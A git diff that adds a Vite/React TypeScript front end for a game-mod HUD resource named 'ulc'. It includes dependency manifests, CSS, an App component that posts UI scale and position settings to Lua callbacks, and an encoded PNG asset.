"sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" + }, + "tabbable": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/tabbable/-/tabbable-6.1.1.tgz", + "integrity": "sha512-4kl5w+nCB44EVRdO0g/UGoOp3vlwgycUVtkk/7DPyeLZUCuNFFKCFG6/t/DgHLrUPHjrZg6s5tNm+56Q2B0xyg==" + }, + "tailwindcss": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.5.tgz", + "integrity": "sha512-5SEZU4J7pxZgSkv7FP1zY8i2TIAOooNZ1e/OGtxIEv6GltpoiXUqWvLy89+a10qYTB1N5Ifkuw9lqQkN9sscvA==", + "dev": true, + "requires": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.0", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.19.1", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + } + }, + "thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "requires": { + "any-promise": "^1.0.0" + } + }, + "thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "requires": { + "thenify": ">= 3.1.0 < 4" + } + }, + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==" + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true + }, + "tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" + }, + "typescript": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.8.4.tgz", + "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==", + "dev": true + }, + "update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + }, + "use-callback-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.0.tgz", + "integrity": "sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==", + "requires": { + "tslib": "^2.0.0" + } + }, + "use-composed-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.3.0.tgz", + "integrity": "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==", + "requires": {} + }, + "use-isomorphic-layout-effect": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz", + "integrity": "sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==", + "requires": {} + }, + "use-latest": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.2.1.tgz", + "integrity": "sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==", + "requires": { + "use-isomorphic-layout-effect": "^1.1.1" + } + }, + "use-sidecar": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz", + "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==", + "requires": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + } + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "vite": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/vite/-/vite-3.1.6.tgz", + "integrity": "sha512-qMXIwnehvvcK5XfJiXQUiTxoYAEMKhM+jqCY6ZSTKFBKu1hJnAKEzP3AOcnTerI0cMZYAaJ4wpW1wiXLMDt4mA==", + "dev": true, + "requires": { + "esbuild": "^0.15.9", + "fsevents": "~2.3.2", + "postcss": "^8.4.16", + "resolve": "^1.22.1", + "rollup": "~2.78.0" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" + } + } +} diff --git a/resources/ulc/src/package.json b/resources/ulc/src/package.json new file mode 100644 index 000000000..85d940b3a --- /dev/null +++ b/resources/ulc/src/package.json @@ -0,0 +1,28 @@ +{ + "name": "vite-project", + "private": true, + "version": "0.0.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc && vite build --emptyOutDir", + "preview": "vite preview" + }, + "dependencies": { + "@emotion/react": "^11.10.6", + "@mantine/core": "^6.0.0", + "@mantine/hooks": "^6.0.0", + "react": "^18.2.0", + "react-countup": "^6.4.2", + "react-dom": "^18.2.0", + "react-draggable": "^4.4.5" + }, + "devDependencies": { + "@types/react": "^18.0.17", + "@types/react-dom": "^18.0.6", + "@vitejs/plugin-react": "^2.1.0", + "tailwindcss": "^3.3.5", + "typescript": "^4.6.4", + "vite": "^3.1.0" + } +} diff --git a/resources/ulc/src/public/vite.svg b/resources/ulc/src/public/vite.svg new file mode 100644 index 000000000..e7b8dfb1b --- /dev/null +++ b/resources/ulc/src/public/vite.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/resources/ulc/src/src/App.css b/resources/ulc/src/src/App.css new file mode 100644 index 000000000..d7cbc2256 --- /dev/null +++ b/resources/ulc/src/src/App.css @@ -0,0 +1,44 @@ +#root { + background-color: rgba(0, 0, 0, 0) !important; +} + +body { + background-color: rgba(0, 0, 0, 0) !important; + overflow: hidden; +} + +.background { + + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + + padding: 2px; + border: 10px solid ; + background-image: url('./assets/texture.jpg'); + border-radius: 20px; + border-image: url('./assets/image.png') 20 repeat; + + transition: all .5s ease; +} + +.buttons { + display: flex; + flex-direction: row; +} + +.ta { + height: 24px; + width: 100%; + + display: flex; + flex-direction: row; + justify-content: center; + align-items: center; + +} + +.ta-off { + display: none; +} \ No newline at end of file diff --git a/resources/ulc/src/src/App.tsx b/resources/ulc/src/src/App.tsx new file mode 100644 index 000000000..cd1e59ba7 --- /dev/null +++ b/resources/ulc/src/src/App.tsx @@ -0,0 +1,249 @@ +import { useState, useEffect } from 'react' +import Draggable from "react-draggable"; +import { Box, Button, Center, Code, Container, Flex, Paper, Progress, SegmentedControl, Text } from '@mantine/core' +import './app.css' +import StageButton from './components/StageButton' +import TaModule from './components/TaModule' +import Menu from './components/Menu' + +function App() { + + //console.log("Running function") + + ///////////////// + // STATE HOOKS // + ///////////////// + + const [ opacity, setOpacity ] = useState(0) + const [ menuOpacity, setMenuOpacity ] = useState(0) + const [ scale, setScale ] = useState(1.0) + const [ taClassString, setTaClassString ] = useState('ta ta-off') + const [ useLeftAnchor, setUseLeftAnchor ] = useState('false') + const [ hudDisabled, setHudDisabled ] = useState(false) + const [ showHelp, setShowHelp ] = useState(false) + + const [ x, setX ] = useState(0.0) + const [ y, setY ] = useState(0.0) + + interface ButtonObject{ extra: number, numKey: number, enabled: boolean; color: string; label: string} + const [buttonObjects, setButtonObjects] = useState([]); + + + // SENDING DATA TO LUA + + useEffect(() => { + //console.log(`saveScale useEffect sending scale of ${scale} to lua`) + let response = fetch(`https://ulc/saveScale`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({scale}) + }); + }, [scale]) + + useEffect(() => { + //console.log(`saveAnchor useEffect sending anchor value ${useLeftAnchor} to lua`) + let response = fetch(`https://ulc/saveAnchor`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({useLeftAnchor}) + }); + }, [useLeftAnchor]) + + useEffect(() => { + + let response = fetch(`https://ulc/setHudDisabled`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({hudDisabled}) + }); + +}, [hudDisabled]) + + + + /////////////// + // FUNCTIONS // + /////////////// + + function addButton(extra: number, numKey : number, enabled : boolean, color : string, label: string) { + setButtonObjects([...buttonObjects, {extra: extra, numKey: numKey, enabled: enabled, color: color, label: label}]) + } + + + // TODO: THIS WIPES THE TABLE FOR SOME REASON + function setButton(extra: number, newState : boolean) { + //console.log(`Setting buttons! Original buttons: ${buttonObjects}`) + let updatedButtons = buttonObjects.map((item) => item.extra === extra ? { + ...item, + enabled: newState + } : item); + + ////console.log(`Updated buttons ${JSON.stringify(updatedButtons)}`) + setButtonObjects(updatedButtons) + } + + // for ta stuff i guess + function strContains(string1 : string, string2 : string) { + if (string1.indexOf(string2) >= 0) { + return true + } else { + return false + } + } + + function calculateTaClassString(buttons : any) { + let result = 'ta ta-off' + for (let i = 0; i < buttons.length; i++) { + const element = buttons[i]; + if (element.label.toUpperCase() === 'TA') { + result = 'ta ta-on' + } + } + return result + } + + // DRAGGING UI + + const handleDragEvent = async (e: any, data : any) => { + console.log(~~data.x, ~~data.y); + let newX = ~~data.x + let newY = ~~data.y + + setPosition(newX, newY) + //send this position back to lua to save it for later + } + + function setPosition(newX : number, newY : number) { + setX(newX) + setY(newY) + let response = fetch(`https://ulc/savePosition`, { + method: 'POST', + headers: { + 'Content-Type': 'application/json' + }, + body: JSON.stringify({newX, newY}) + }); + } + + + //////////////////// + // EVENT LISTENER // + //////////////////// + + const handleMessage = (e : any) => { + var data = e.data + + if (data.type === 'showHUD') { setOpacity(100) } + else if (data.type === 'hideHUD') { setOpacity(0) } + else if (data.type === 'setPosition') {console.log(`Received x: ${data.x} and y: ${data.y} from lua`); setX(data.x); setY(data.y)} + else if (data.type === 'setScale') {console.log(`Received scale: ${data.scale} from lua`); setScale(data.scale)} + else if (data.type === 'setAnchor') {setUseLeftAnchor(data.bool)} + else if (data.type === 'showMenu') {setMenuOpacity(100)} + else if (data.type === 'hideMenu') {setMenuOpacity(0)} + else if (data.type === 'setHudDisabled') {if (data.bool === 1) {setHudDisabled(true)} else {setHudDisabled(false)}} + else if (data.type === 'showHelp') {setShowHelp(true)} + else if (data.type === 'hideHelp') {setShowHelp(false)} + + if (data.type === 'clearButtons') { + //console.log("Clearing buttons") + setButtonObjects([]) + } + + if (data.type === 'populateButtons') { + //console.log(`Populating buttons ${JSON.stringify(data.buttons)}`) + setButtonObjects(data.buttons) + setTaClassString(calculateTaClassString(data.buttons)) + } + + // takes: extra, state(0 on, 1 off) + if (data.type === 'setButton') { + //console.log(`Setting button ${data.extra} ${data.newState}`) + setButton(data.extra, data.newState) + } + } + + useEffect(() => { + //console.log("I am the useEffect") + + window.removeEventListener('message', handleMessage) + window.addEventListener('message',handleMessage); + + return () => { + window.removeEventListener('message', handleMessage) + } + + }, [handleMessage]); + + + + ///////////////// + // DEFINITIONS // + ///////////////// + + let buttons = buttonObjects.map((buttonObject, index) => ( + <> + + + + )) + + return ( + <> + {/* MENU */} + + + + {/* HUD */} + {handleDragEvent(e, data)}}> + + {/* + + + + */} +
+ + {/*
+ + + + + + + +
*/} + +
+ {buttons} +
+ +
+
+
+ + + + + ) +} + +export default App diff --git a/resources/ulc/src/src/assets/background.png b/resources/ulc/src/src/assets/background.png new file mode 100644 index 0000000000000000000000000000000000000000..accf4ce621f6d62a73aa7ec3b52f93216c688440 GIT binary patch literal 52719 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 